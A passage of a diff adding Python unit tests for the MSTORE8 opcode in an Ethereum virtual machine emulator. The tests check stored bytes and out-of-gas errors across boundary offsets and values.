+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(48), 0)
+
+    def test_MSTORE8_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(0), 1)
+
+    def test_MSTORE8_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(1), 1)
+
+    def test_MSTORE8_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(16), 1)
+
+    def test_MSTORE8_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(32), 1)
+
+    def test_MSTORE8_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(48), 1)
+
+    def test_MSTORE8_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(0), 240L)
+
+    def test_MSTORE8_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(1), 240L)
+
+    def test_MSTORE8_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(16), 240L)
+
+    def test_MSTORE8_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(32), 240L)
+
+    def test_MSTORE8_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(48), 240L)
+
+    def test_MSTORE8_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(0), 15L)
+
+    def test_MSTORE8_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(1), 15L)
+
+    def test_MSTORE8_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(16), 15L)
+
+    def test_MSTORE8_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(32), 15L)
+
+    def test_MSTORE8_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(48), 15L)
+
+    def test_MSTORE8_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(0), 16)
+
+    def test_MSTORE8_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(1), 16)
+
+    def test_MSTORE8_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
